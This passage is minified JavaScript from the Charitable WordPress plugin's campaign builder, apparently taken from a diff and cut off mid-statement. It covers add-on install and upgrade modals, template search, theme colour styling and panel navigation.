data={action:action,nonce:charitable_admin.nonce,plugin:plugin_url,type:pluginType};wpchar.debug(data);$.post(charitable_admin.ajax_url,data,function(res){callback(res,plugin_url,plugin_name,state,modal,clickedObject)}).fail(function(xhr){wpchar.debug(xhr.responseText)})},callBackAddonState:function(res,plugin_url="",plugin_name="",state="",modal=false,clickedObject){wpchar.debug("callBackAddonState");wpchar.debug(res);wpchar.debug(state);wpchar.debug(modal);var successText="";if(res.success){if("install"===state){wpchar.debug("installed");if(s.currentModal!==false&&"object"===typeof s.currentModal){s.currentModal.close()}if(res.data.is_activated){successText=res.data.msg;app.upgradeModalAddonInstalledAndActivated(plugin_url,plugin_name,successText)}else{app.upgradeModalAddonInstalledAndActivatedFailed(plugin_url,plugin_name,successText)}}else if("activate"===state){wpchar.debug("activated");successText=res.data;if(s.currentModal!==false&&"object"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivated(plugin_url,plugin_name,successText);clickedObject.addClass("charitable-installed-refresh").removeClass("charitable-not-activated");app.openModalButtonClick()}else{wpchar.debug("some other success");successText=res.data;if(s.currentModal!==false&&"object"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivated(plugin_url,plugin_name,successText);clickedObject.addClass("charitable-installed-refresh").removeClass("charitable-not-activated");app.openModalButtonClick()}}else{if(s.currentModal!==false&&"object"===typeof s.currentModal){s.currentModal.close()}app.upgradeModalAddonActivatedFailed(plugin_url,plugin_name,successText)}},activateRefreshModal:function(name,video,icon=""){wpchar.debug("activateRefreshModal");wpchar.debug(name);wpchar.debug(video);var message=charitable_builder.activated_refresh.replace(/%addon%/g,name),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title='<span class="charitable-upgrade-pro-title">'+name+" "+charitable_builder.activated_refresh_title+"</span>";var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==""?"fa "+icon:"fa fa-thumbs-up",content:message,boxWidth:modalWidth,theme:"modern,charitable-activate-refresh",closeIcon:true,buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}});$(window).on("resize",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},activateModal:function(feature,plugin_url,type,video,clickedObject,elementType=false,icon=""){wpchar.debug("activatelModal");wpchar.debug(feature);wpchar.debug(plugin_url);wpchar.debug(type);wpchar.debug(video);wpchar.debug(elementType);if(typeof type==="undefined"||type.length===0){type="pro"}var message=charitable_builder.activate.message.replace(/%addon%/g,feature),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title='<span class="charitable-upgrade-pro-title">'+feature+" "+charitable_builder.activate.title+"</span>";var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==""?"fa "+icon:"fa fa-thumbs-up",content:message,boxWidth:modalWidth,theme:"modern,charitable-activate-addon",closeIcon:true,buttons:{cancel:{btnClass:"btn-confirm",keys:["esc"],isHidden:false,isDisabled:false,action:function(){}},install:{text:charitable_builder.activate.button,btnClass:"btn-confirm",keys:["enter"],isHidden:false,isDisabled:false,action:function(activateButton){activateButton.setText(charitable_builder.activating);activateButton.disable();this.$$cancel.prop("disabled",true);this.$$cancel.hide();app.setAddonState(plugin_url,feature,"activate","addon",$(this),clickedObject,app.callBackAddonState);return false}}}});s.currentModal=modal;$(window).on("resize",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},installModal:function(feature,plugin_url,type,video,clickedObject,elementType=false,icon=""){wpchar.debug("installModal");wpchar.debug(feature);wpchar.debug(plugin_url);wpchar.debug(type);wpchar.debug(video);wpchar.debug(clickedObject);wpchar.debug(elementType);if(typeof type==="undefined"||type.length===0){type="pro"}if($.inArray(type,["pro","basic","plus","agency","elite"])<0){return}var license_label=charitable_builder.charitable_license_label,message=charitable_builder.install[type].message.replace(/%name%/g,license_label).replace(/%addon%/g,feature),isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title="";if(elementType){title='<span class="charitable-upgrade-pro-title">'+feature+" "+charitable_builder.install["pro-panel"].title+"</span>"}else{title='<span class="charitable-upgrade-pro-title">'+feature+" "+charitable_builder.install[type].title+"</span>"}var modal=$.alert({backgroundDismiss:false,title:title,icon:icon!==""?"fa "+icon:"fa fa-thumbs-up",content:message,boxWidth:modalWidth,theme:"modern,charitable-install-form",closeIcon:false,buttons:{cancel:{btnClass:"btn-confirm",keys:["esc"],isHidden:false,isDisabled:false,action:function(){}},confirmInstall:{text:charitable_builder.install[type].button,btnClass:"btn-confirm",keys:["enter"],isHidden:false,isDisabled:false,action:function(confirmInstallButton){confirmInstallButton.setText(charitable_builder.installing);confirmInstallButton.disable();this.$$cancel.prop("disabled",true);this.$$cancel.hide();app.setAddonState(plugin_url,feature,"install","addon",$(this),clickedObject,app.callBackAddonState);return false}}}});s.currentModal=modal;$(window).on("resize",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},upgradeModal:function(feature,utmContent,type,video,elementType=false,icon=""){if(typeof type==="undefined"||type.length===0){type="pro"}if($.inArray(type,["pro","basic","plus","agency","elite"])<0){return}var isVideoModal=!_.isEmpty(video),modalWidth=app.getUpgradeModalWidth(isVideoModal),title="",message="",button="",typeCapitlized="pro"!==type.toLowerCase()?type.charAt(0).toUpperCase()+type.slice(1):"PRO";if(elementType){title=feature+" "+charitable_builder.upgrade["pro-panel"].title.replace(/%plan%/g,typeCapitlized),message=charitable_builder.upgrade["pro-panel"].message.replace(/%name%/g,feature),message=message.replace(/%plan%/g,typeCapitlized),button=charitable_builder.upgrade["pro-panel"].button.replace(/%name%/g,feature).replace("addon",""),button=button.replace(/%plan%/g,typeCapitlized)}else{title=feature+" "+charitable_builder.upgrade[type].title.replace(/%plan%/g,typeCapitlized),message=charitable_builder.upgrade[type].message.replace(/%name%/g,feature),message=message.replace(/%plan%/g,typeCapitlized),button=charitable_builder.upgrade[type].button.replace(/%name%/g,feature).replace("addon",""),button=button.replace(/%plan%/g,typeCapitlized)}var modal=$.alert({backgroundDismiss:true,title:title,icon:icon!==""?"fa "+icon:"fa fa-lock",content:message,boxWidth:modalWidth,theme:"modern,charitable-upgrade-form-lite",closeIcon:true,onOpenBefore:function(){if(isVideoModal){this.$el.addClass("has-video")}var videoHtml=isVideoModal?'<iframe src="'+video+'" class="feature-video" frameborder="0" allowfullscreen="" width="475" height="267"></iframe>':"";this.$btnc.after(charitable_builder.upgrade[type].doc.replace(/%25name%25/g,feature));this.$btnc.after(videoHtml);this.$body.find(".jconfirm-content").addClass("lite-upgrade")},buttons:{confirm:{text:button,btnClass:"btn-confirm",keys:["enter"],action:function(){window.open(app.getUpgradeURL(utmContent,type),"_blank");app.upgradeModalThankYou(type)}}}});$(window).on("resize",function(){modalWidth=app.getUpgradeModalWidth(isVideoModal);if(modal.isOpen()){modal.setBoxWidth(modalWidth)}})},getInstallURL:function(utmContent,type,searchKeyword=false){var returnUrl=charitable_builder.charitable_addons_page;if(searchKeyword){returnUrl=returnUrl+"&search="+searchKeyword.replace(/[^0-9a-z+ ]/gi,"").replace("Field","").trim()}return returnUrl},getUpgradeURL:function(utmContent,type){var baseURL=charitable_builder.upgrade[type].url;if(utmContent.toLowerCase().indexOf("template")>-1){baseURL=charitable_builder.upgrade[type].url_template}var appendChar=/(\?)/.test(baseURL)?"&":"?";if(baseURL.indexOf("https://wpcharitable.com")===-1){appendChar=encodeURIComponent(appendChar)}return baseURL+appendChar+"utm_content="+encodeURIComponent(utmContent.trim())},upgradeModalThankYou:function(type){$.alert({title:charitable_builder.thanks_for_interest,content:charitable_builder.upgrade[type].modal,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},upgradeModalAddonInstalledAndActivated:function(plugin_url="",plugin_name="",successText=""){$.alert({title:'<span class="charitable-upgrade-pro-title">'+plugin_name+" "+charitable_builder.installed_activated_title+"</span>",content:charitable_builder.installed_activated_reboot,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["esc"]},saveRefresh:{text:charitable_builder.save_refresh,btnClass:"btn-confirm",keys:["enter"],action:function(saveRefreshButton){if($("#charitable_settings_title").val().length===0){this.close();app.formSaveCheck();return false}saveRefreshButton.setText(charitable_builder.standby);saveRefreshButton.disable();this.$$confirm.prop("disabled",true);this.$$confirm.hide();app.formSave(false,false,false,true);return false}}}})},upgradeModalAddonActivated:function(plugin_url="",plugin_name="",successText=""){$.alert({title:'<span class="charitable-upgrade-pro-title">'+plugin_name+" "+charitable_builder.activated_title+"</span>",content:charitable_builder.activated_reboot,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["esc"]},saveRefresh:{text:charitable_builder.save_refresh,btnClass:"btn-confirm",keys:["enter"],action:function(saveRefreshButton){if($("#charitable_settings_title").val().length===0){this.close();app.formSaveCheck();return false}saveRefreshButton.setText(charitable_builder.standby);saveRefreshButton.disable();this.$$confirm.prop("disabled",true);this.$$confirm.hide();app.formSave(false,false,false,true);return false}}}})},upgradeModalAddonInstalledAndActivatedFailed:function(plugin_url="",plugin_name="",successText=""){$.alert({title:'<span class="charitable-upgrade-pro-title">'+plugin_name+" "+charitable_builder.installed_activated_failed_title+"</span>",content:charitable_builder.installed_activated_failed_reboot,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},upgradeModalAddonActivatedFailed:function(plugin_url="",plugin_name="",successText=""){$.alert({title:'<span class="charitable-upgrade-pro-title">'+plugin_name+" "+charitable_builder.activated_failed_title+"</span>",content:charitable_builder.activated_failed_reboot,icon:"fa fa-info-circle",type:"blue",boxWidth:"565px",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},getUpgradeModalWidth:function(isVideoModal){var windowWidth=$(window).width();if(windowWidth<=300){return"250px"}if(windowWidth<=750){return"350px"}if(!isVideoModal||windowWidth<=1024){return"560px"}return windowWidth>1070?"1040px":"994px"},isFunction:function(functionToCheck){return functionToCheck&&{}.toString.call(functionToCheck)==="[object Function]"}};return app}(document,window,jQuery);CharitableCampaignBuilder.init(); \ No newline at end of file +var CharitableCampaignBuilder=window.CharitableCampaignBuilder||function(document,window,$){var s,$builder,$builderForm,elements={};var closeConfirmation=true;var adding=false;var app={settings:{spinner:'<i class="charitable-loading-spinner"></i>',spinnerInline:'<i class="charitable-loading-spinner charitable-loading-inline"></i>',tinymceDefaults:{tinymce:{toolbar1:"bold,italic,underline,blockquote,strikethrough,bullist,numlist,alignleft,aligncenter,alignright,undo,redo,link"},quicktags:true},pagebreakTop:false,pagebreakBottom:false,upload_img_modal:false},init:function(){var that=this;charitable_panel_switch=true;s=this.settings;$(app.ready);$(window).on("load",function(){if(typeof $.ready.then==="function"){$.ready.then(app.load)}else{app.load()}});$(window).on("beforeunload",function(){if(!that.formIsSaved()&&closeConfirmation){return charitable_builder.are_you_sure_to_close}})},load:function(){if(wpchar.getQueryString("newcampaign")){app.formSave(false)}const event=CharitableUtils.triggerEvent($builder,"CharitableCampaignBuilderReady");if(event.isDefaultPrevented()){return false}app.hideLoadingOverlay();app.initCodeEditor()},ready:function(){if(app.isVisitedViaBackButton()){location.reload();return}app.showLoadingOverlay();s.version="1.8.4.3";$builder=$("#charitable-builder");$builderForm=$("#charitable-builder-form");elements.$helpButton=$("#charitable-help");elements.$previewButton=$("#charitable-preview-btn");elements.$viewCampaignButton=$("#charitable-view-btn");elements.$embedButton=$("#charitable-embed");elements.$statusButton=$("#charitable-status-button");elements.$saveButton=$("#charitable-save");elements.$exitButton=$("#charitable-exit");elements.$templateButton=$(".charitable-panel-template-button");elements.$designButton=$(".charitable-panel-design-button");elements.$settingsButton=$(".charitable-panel-settings-button");elements.$marketingButton=$(".charitable-panel-marketing-button");elements.$paymentButton=$(".charitable-panel-payment-button");elements.$noFieldsOptions=$(".charitable-panel-fields .charitable-no-fields-holder .no-fields");elements.$noFieldsPreview=$(".charitable-panel-fields .charitable-no-fields-holder .no-fields-preview");elements.$formPreview=$(".charitable-panel-fields .charitable-preview-wrap");elements.$revisionPreview=$("#charitable-panel-revisions .charitable-panel-content");elements.$focusOutTarget=null;elements.$preview=$(".charitable-preview");elements.$panelDesign=$("#charitable-panel-design");elements.$nextFieldId=$("#charitable-field-id");elements.$fieldOptions=$("#charitable-field-options");elements.$fieldsPreviewWrap=$(".charitable-panel-fields .charitable-panel-content-wrap"),elements.$sortableFieldsWrap=$(".charitable-panel-fields .charitable-field-wrap");elements.$sortableTabsWrap=$(".charitable-panel-fields .charitable-tab-wrap");elements.$sortableTabNav=$(".charitable-campaign-preview nav.charitable-campaign-preview-nav");elements.$sortableTabContent=$(".charitable-campaign-preview .tab-content");elements.$addFieldsButtons=$(".charitable-add-fields-button").not(".not-draggable").not(".warning-modal").not(".charitable-not-available").not(".charitable-not-installed").not(".charitable-not-activated").not(".charitable-installed-refresh").not(".charitable-addon-file-missing").not(".charitable-need-upgrade");elements.$templatePanel=$("#charitable-panel-template");elements.$templatePreview=$(".charitable-template-preview");elements.$settingsPanel=$("#charitable-panel-settings");elements.$campaignID=$('#charitable-builder-form input[name="id"]');elements.$templateID=$('#charitable-builder-form input[name="template_id"]');elements.$templateLabel=$('#charitable-builder-form input[name="template_label"]');elements.$postStatus=$('#charitable-builder-form input[name="post_status"]');elements.$primaryThemeColorBase=$('#charitable-builder-form input[name="color_base_primary"]');elements.$secondaryThemeColorBase=$('#charitable-builder-form input[name="color_base_secondary"]');elements.$tertiaryThemeColorBase=$('#charitable-builder-form input[name="color_base_tertiary"]');elements.$buttonThemeColorBase=$('#charitable-builder-form input[name="color_base_button"]');app.bindUIActions();s.formID=$builderForm.data("id");s.templateID=$builderForm.data("template-id");s.templateLabel=$builderForm.data("template-label");s.primaryThemeColorBase=s.primaryThemeColor=$(this).closest(".charitable-template").data("template-primary");s.secondaryThemeColorBase=s.secondaryThemeColor=$(this).closest(".charitable-template").data("template-secondary");s.tertiaryThemeColorBase=s.tertiaryThemeColor=$(this).closest(".charitable-template").data("template-tertiary");s.buttonThemeColorBase=s.buttonThemeColor=$(this).closest(".charitable-template").data("template-button");s.primaryThemeColorBase=elements.$primaryThemeColorBase.val().length>0?elements.$primaryThemeColorBase.val():"";s.secondaryThemeColorBase=elements.$secondaryThemeColorBase.val().length>0?elements.$secondaryThemeColorBase.val():"";s.tertiaryThemeColorBase=elements.$tertiaryThemeColorBase.val().length>0?elements.$tertiaryThemeColorBase.val():"";s.buttonThemeColorBase=elements.$buttonThemeColorBase.val().length>0?elements.$buttonThemeColorBase.val():"";s.primaryThemeColor="";s.secondaryThemeColor="";s.tertiaryThemeColor="";s.buttonThemeColor="";s.formSaved=$builderForm.find("#charitable-form-saved").val();s.formSavedStatus=$builderForm.find("#charitable-form-post-status").val();s.formSavedStatusLabel=$builderForm.find("#charitable-form-post-status-label").val();s.formStatus=s.formSavedStatus.length>0?s.formSavedStatus:"draft";s.formStatusLabel=s.formSavedStatusLabel.length>0?s.formSavedStatusLabel:"Draft";s.campaignTitle=$("input#charitable_settings_title").val();s.campaignDescription=$('div[data-special-type="campaign_description"] .campaign-builder-htmleditor').first().html();s.campaignOverview=$('div[data-special-type="campaign_overview"] .campaign-builder-htmleditor').length>0?$('div[data-special-type="campaign_overview"] .campaign-builder-htmleditor').first().html():"";s.maxNumberOfTabs=4;s.denyList={"donation-form":{"donate-button":0,"donation-form":0,"donate-amount":0},"donate-button":{"donation-form":0},"donate-amount":{"donation-form":0}};s.pagebreakTop=$(".charitable-pagebreak-top").length;s.pagebreakBottom=$(".charitable-pagebreak-bottom").length;s.didInitHTMLEditorFields=false;s.quilled=[];s.currentModal=false;$builder.on("keypress","#charitable-builder-form :input:not(textarea)",function(e){if(e.keyCode===13){e.preventDefault()}});$(".charitable-panel").each(function(index,el){var $this=$(this),$configured=$this.find(".charitable-panel-sidebar-section.configured").first();if($configured.length){var section=$configured.data("section");$configured.addClass("active");$this.find(".charitable-panel-content-section-"+section).show().addClass("active");$this.find(".charitable-panel-content-section-default").hide()}else{$this.find(".charitable-panel-content-section").hide().removeClass("active");$this.find(".charitable-panel-content-section").first().show().addClass("active");$this.find(".charitable-panel-sidebar-section:first-of-type").addClass("active")}});app.builderHotkeys();if(typeof jconfirm!=="undefined"){jconfirm.defaults={closeIcon:false,backgroundDismiss:false,escapeKey:true,animationBounce:1,useBootstrap:false,theme:"modern",boxWidth:"400px",animateFromElement:false,draggable:false,content:charitable_builder.something_went_wrong}}$(".campaign-builder-datepicker").each(function(){app.initDatePicker($(this))});$(".campaign-tag-field").each(function(){app.initTagField($(this))});$(".charitable-campaign-suggested-donations").each(function(){app.initSuggestedDonations($(this))});$(".charitable-campaign-suggested-donations-mini").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))});app.initColorPicker();app.initTemplatePanel();app.initStatusButton();app.updateGoalRelatedItems();app.updateEndDateRelatedItems();app.resizeTopCampaignTitleInputBox();if(false!==app.hasTemplate()){var panel=null!==wpCookies.get("charitable_panel")?wpCookies.get("charitable_panel").trim():false;if(typeof panel!=="undefined"&&panel.length>0&&panel!=="template"){app.panelSwitch(panel)}else{app.panelSwitch("design")}app.checkFieldAllow();app.redirectBasedOnCookies(panel)}else{app.forceTemplateSelect();app.setCampaignTitleNotSet()}app.openModalButtonClick();app.confirmCampaignDeletion();$(".education-buttons button").click(function(){window.open("https://www.wpcharitable.com/pricing/")});$(".campaign-builder-campaign-creator-id select").select2({templateResult:app.campaignCreatorFormatOptions});$(".campaign-builder-campaign-creator-id-mini select").select2({templateResult:app.campaignCreatorFormatOptions})},campaignCreatorFormatOptions(state){if(!state.id){return state.text}var $state=$('<span class="charitable-select2-avatar"><img width="20px" height="20px" style="display: inline-block; float: left; margin-right: 10px;" src="'+state.element.dataset.avatar+'" /> '+state.text+'</span><span class="charitable-select2-meta"> '+state.element.dataset.meta+"</span>");return $state},redirectBasedOnCookies(panel=false){var cookieContentSection=wpCookies.get("charitable_panel_content_section"),cookieActiveFieldId=""!==wpCookies.get("charitable_panel_active_field_id")?parseInt(wpCookies.get("charitable_panel_active_field_id")):"",cookieActiveTabId=wpCookies.get("charitable_panel_tab_section_tab_id"),cookieActiveLayoutOptionsGroup=wpCookies.get("charitable_panel_design_layout_options_group");if($(".charitable-preview").is(":visible")&&""!==cookieActiveTabId&&$('nav.charitable-campaign-preview-nav li[data-tab-id="'+cookieActiveTabId+'"] a').is(":visible")){$('.charitable-preview nav.charitable-campaign-preview-nav li[data-tab-id="'+cookieActiveTabId+'"] a').click()}else if($(".charitable-preview").is(":visible")&&$("#charitable-field-"+cookieActiveFieldId+" a").is(":visible")){app.clickFieldEdit(cookieActiveFieldId)}else if($(".charitable-panel-sidebar").is(":visible")&&$('a.charitable-panel-sidebar-section[data-section="'+cookieContentSection+'"').is(":visible")){$('a.charitable-panel-sidebar-section[data-section="'+cookieContentSection+'"').click()}else if(""!==cookieActiveFieldId&&$("#charitable-field-"+cookieActiveFieldId).is(":visible")){$("#charitable-field-"+cookieActiveFieldId).click()}else if($(".charitable-panel-sidebar").is(":visible")&&cookieContentSection&&cookieContentSection!=="layout-options"&&$(".charitable-tabs").is(":visible")&&$(".charitable-tabs li#"+cookieContentSection+" a").is(":visible")){$(".charitable-tabs li#"+cookieContentSection+" a").click()}else if(false===panel&&false!==app.hasTemplate()){app.panelSwitch("design")}else{wpchar.debug("redirectBasedOnCookies nothing")}},clickFieldEdit(fieldId){$("#charitable-field-"+fieldId+" a.charitable-field-edit").click()},refreshTabFieldsSortDrag(){elements.$sortableTabContent=$(".charitable-campaign-preview .tab-content")},hasTemplate(){if(typeof s.templateID!=="undefined"&&s.templateID.length>0){return true}var templateID=parseInt(elements.$templateID.val());if(templateID>0){return true}return false},forceTemplateSelect(){$("#charitable-panels-toggle").find("button").removeClass("active").addClass("disabled");elements.$templateButton.removeClass("disabled").addClass("active");app.panelSwitch("template")},unforceTemplateSelect(){$("#charitable-panels-toggle").find("button").removeClass("disabled")},disableTemplateSelect(){elements.$templateButton.removeClass("active").addClass("disabled")},updateTemplateID(templateID="",templateLabel=""){elements.$templateID.val(templateID);elements.$templateLabel.val(templateLabel);app.updateThemeCSS(null,templateID,s.primaryThemeColor,s.secondaryThemeColor,s.tertiaryThemeColor,s.buttonThemeColor,false);$(".charitable-preview").removeClass(function(index,className){return(className.match(/(^|\s)charitable-builder-template-\S+/g)||[]).join(" ")}).addClass("charitable-builder-template-"+templateID);if(templateLabel!==""){$(".charitable-preview-top-bar .charitable-campaign-theme-label").text(templateLabel)}else if(templateID!==""){$(".charitable-preview-top-bar .charitable-campaign-theme-label").text(templateID)}},updateThemeCSS(whatChanged=null,templateID="",primaryThemeColor="",secondaryThemeColor="",tertiaryThemeColor="",buttonThemeColor="",justColors=true){if(""===templateID&&""===s.templateID){return}if(typeof s.primaryThemeColor==="undefined"||""===primaryThemeColor){if(typeof s.primaryThemeColor!=="undefined"&&""!==s.primaryThemeColor){primaryThemeColor=s.primaryThemeColor}else if(typeof s.primaryThemeColorBase!=="undefined"&&""!==s.primaryThemeColorBase){primaryThemeColor=s.primaryThemeColorBase}else{primaryThemeColor="000000"}}if(typeof s.secondaryThemeColor==="undefined"||""===secondaryThemeColor){if(typeof s.secondaryThemeColor!=="undefined"&&""!==s.secondaryThemeColor){secondaryThemeColor=s.secondaryThemeColor}else if(typeof s.secondaryThemeColorBase!=="undefined"&&""!==s.secondaryThemeColorBase){secondaryThemeColor=s.secondaryThemeColorBase}else{secondaryThemeColor="000000"}}if(typeof s.tertiaryThemeColor==="undefined"||""===tertiaryThemeColor){if(typeof s.tertiaryThemeColor!=="undefined"&&""!==s.tertiaryThemeColor){tertiaryThemeColor=s.tertiaryThemeColor}else if(typeof s.tertiaryThemeColorBase!=="undefined"&&""!==s.tertiaryThemeColorBase){tertiaryThemeColor=s.tertiaryThemeColorBase}else{tertiaryThemeColor="000000"}}if(typeof s.buttonThemeColor==="undefined"||""===buttonThemeColor){if(typeof s.buttonThemeColor!=="undefined"&&""!==s.buttonThemeColor){buttonThemeColor=s.buttonThemeColor}else if(typeof s.buttonThemeColorBase!=="undefined"&&""!==s.buttonThemeColorBase){buttonThemeColor=s.buttonThemeColorBase}else{buttonThemeColor="000000"}}primaryThemeColor=primaryThemeColor.replace(/[^a-zA-Z 0-9]+/g,"");secondaryThemeColor=secondaryThemeColor.replace(/[^a-zA-Z 0-9]+/g,"");tertiaryThemeColor=tertiaryThemeColor.replace(/[^a-zA-Z 0-9]+/g,"");buttonThemeColor=buttonThemeColor.replace(/[^a-zA-Z 0-9]+/g,"");var colorQueryString="p="+primaryThemeColor+"&s="+secondaryThemeColor+"&t="+tertiaryThemeColor+"&b="+buttonThemeColor+"&ver="+s.version;if(justColors===false){$('link[id="charitable-builder-template-preview-theme-css"]').attr("href",charitable_builder.charitable_rest_url+"campaign-css-admin/"+templateID+"?"+colorQueryString)}if(whatChanged!==null){app.replaceCSSFile(whatChanged,templateID,colorQueryString)}else{app.replaceCSSFile("primary",templateID,colorQueryString);app.replaceCSSFile("secondary",templateID,colorQueryString);app.replaceCSSFile("tertiary",templateID,colorQueryString);app.replaceCSSFile("button",templateID,colorQueryString)}},replaceCSSFile:function(whatChanged,templateID,colorQueryString){$("head").find("link#charitable-builder-template-preview-theme-colors-"+whatChanged+"-css").remove();$("head").append('<link rel="stylesheet" data-color-type="'+whatChanged+'" id="charitable-builder-template-preview-theme-colors-temp" href="'+charitable_builder.charitable_rest_url+"campaign-css-admin/"+templateID+"-colors?"+colorQueryString+'" type="text/css" media="screen">');$("#charitable-design-wrap").addClass("loading");setTimeout(function(){$("head").find("#charitable-builder-template-preview-theme-colors-temp").attr("id","charitable-builder-template-preview-theme-colors-"+whatChanged+"-css");$("#charitable-design-wrap").removeClass("loading")},250)},searchTemplate:function(e){e.preventDefault();let $active=$(".charitable-setup-templates-categories li.active"),category=$active.data("category"),searchQuery=$(this).val();app.performSearch(searchQuery,category)},performSearch(query="",category=""){let $templateList=elements.$templatePreview.find(".charitable-template-list");if(query===""&&(category===""||category==="all")){$templateList.find(".charitable-template-list-container-item").removeClass("charitable-hidden")}else{$templateList.find(".charitable-template-list-container-item").addClass("charitable-hidden");if(query!==""&&category!==""&&category!=="all"){$templateList.find('.charitable-template[data-template-tags*="'+query+'"][data-template-categories*="'+category+'"]').parent().removeClass("charitable-hidden")}else if(query!==""&&(category===""||category==="all")){$templateList.find('.charitable-template[data-template-tags*="'+query+'"],.charitable-template[data-template-categories*="'+query+'"]').parent().removeClass("charitable-hidden")}else{$templateList.find('.charitable-template[data-template-tags*="'+category+'"],.charitable-template[data-template-categories*="'+category+'"]').parent().removeClass("charitable-hidden")}}var numItems=$(".charitable-template-list-container-item").not(".hidden").length;$(".charitable-templates-no-results").toggle(!numItems);if(!elements.$templatePreview.find("#charitable-setup-template-search").val()){elements.$templatePreview.find(".charitable-setup-templates-search-wrap .fa-close").hide()}else{elements.$templatePreview.find(".charitable-setup-templates-search-wrap .fa-close").show()}app.showCheckTemplateList();app.showUpgradeBanner()},selectCategory:function(e){e.preventDefault();let $item=$(this),$active=$item.closest("ul").find(".active"),category=$item.data("category"),searchQuery=$("#charitable-setup-template-search").val();$active.removeClass("active");$item.addClass("active");app.performSearch(searchQuery,category)},showUpgradeBanner:function(){if(!$("#tmpl-charitable-templates-upgrade-banner").length){return}if($("#charitable-template-list .charitable-template-upgrade-banner").length>0){$("#charitable-template-list .charitable-template-upgrade-banner").remove()}if(!app.isFunction(wp.template)){wpchar.debug("wp.template not a function");return}else{wpchar.debug("wp.template is a function")}let template=wp.template("charitable-templates-upgrade-banner");if(!template){return}const $templates=$("#charitable-template-list .charitable-template-list-container-item:not(.charitable-hidden)"),$insertPoint=$("#charitable-template-list .charitable-template-list-container-item");if($templates.length>5){$("#charitable-template-list .charitable-template-list-container > div:last-child").after(template());return}$insertPoint.last().after(template())},showCheckTemplateList:function(){if($("#charitable-template-list .charitable-template-list-container-item.blank:not(.charitable-hidden)").length===0){$("#charitable-template-list .charitable-template-list-section-blank").addClass("charitable-hidden");$("#charitable-template-list .charitable-template-list-section-prebuilt").addClass("charitable-hidden")}else{$("#charitable-template-list .charitable-template-list-section-blank").removeClass("charitable-hidden");$("#charitable-template-list .charitable-template-list-section-prebuilt").removeClass("charitable-hidden")}if($("#charitable-template-list .charitable-template-list-container-item.prebuilt:not(.charitable-hidden)").length===0){$("#charitable-template-list .charitable-template-list-section-prebuilt").addClass("charitable-hidden")}else{$("#charitable-template-list .charitable-template-list-section-prebuilt").removeClass("charitable-hidden")}if($("#charitable-template-list .charitable-template-list-container-item.prebuilt:not(.charitable-hidden)").length>0&&$("#charitable-template-list .charitable-template-list-container-item.blank:not(.charitable-hidden)").length===0){$("#charitable-template-list .charitable-template-list-section-prebuilt").addClass("charitable-hidden")}},initStatusButton:function(formStatus="",formStatusLabel=""){var $statusDropdown=$("ul#charitable-status-dropdown");if(formStatus==""&&s.formStatus.length>0){formStatus=s.formStatus}if(formStatusLabel==""&&s.formStatusLabel.length>0){formStatusLabel=s.formStatusLabel}$statusDropdown.addClass("charitable-hidden");$("#charitable-status-button").removeClass("active");$("#charitable-status-button span.text").html(formStatusLabel);$("#charitable-status-button").attr("data-status",formStatus);$statusDropdown.find("a").removeClass("charitable-hidden");$statusDropdown.find("a.switch-"+formStatus).addClass("charitable-hidden");$statusDropdown.find("a."+formStatus).addClass("charitable-hidden");if(formStatus==="draft"){}else if(formStatus==="publish"){}},initTemplatePanel:function(){$("#charitable-template-container").on("keyup","#charitable-setup-template-search",app.searchTemplate).on("click",".charitable-setup-templates-categories li",app.selectCategory);if(!s.didInitHTMLEditorFields){$(".campaign-builder-htmleditor").each(function(){app.initHTMLEditorFields($(this))});$(".campaign-builder-htmleditor-min").each(function(){app.initHTMLEditorFields($(this),true)});s.didInitHTMLEditorFields=true}elements.$templatePreview.on("click",".charitable-template-lite-to-pro a.button, .charitable-setup-templates-feedback a.send-feedback",function(e){e.preventDefault();$(".charitable-panel-content-wrap").animate({scrollTop:0},500);$(".charitable-template-list-container").addClass("disabled");$(".charitable-feedback-form-container").after('<div id="charitable-builder-underlay" class="charitable-builder-underlay"></div>');$(".charitable-feedback-form-container").css("opacity","100").css("visibility","visible");$(".charitable-feedback-form-container").find(".charitable-feedback-form-interior").removeClass("charitable-hidden");$(".charitable-feedback-form-container").find("textarea").val("");$(".charitable-feedback-form-interior-confirmation").addClass("charitable-hidden")});$builderForm.on("click","#charitable-feedback-form .charitable-templates-close-icon, #charitable-feedback-form-confirmation .charitable-templates-close-icon",function(e){e.preventDefault();$(".charitable-template-list-container").removeClass("disabled");$(".charitable-builder-underlay").remove();$("#charitable-panel-template .charitable-feedback-form-container").css("opacity","0").css("visibility","hidden")});$builderForm.on("click",".template-buttons a.preview-campaign",function(e){e.preventDefault();$(".charitable-template-list-container").addClass("disabled");$(".charitable-feedback-form-container").after('<div id="charitable-builder-underlay" class="charitable-builder-underlay"></div>');const previewBox=$(this).closest(".charitable-template"),templateLabel=typeof previewBox.data("template-label")!=="undefined"?previewBox.data("template-label"):"",templateDescription=typeof previewBox.data("template-description")!=="undefined"?previewBox.data("template-description"):"",templatePreviewURL=typeof 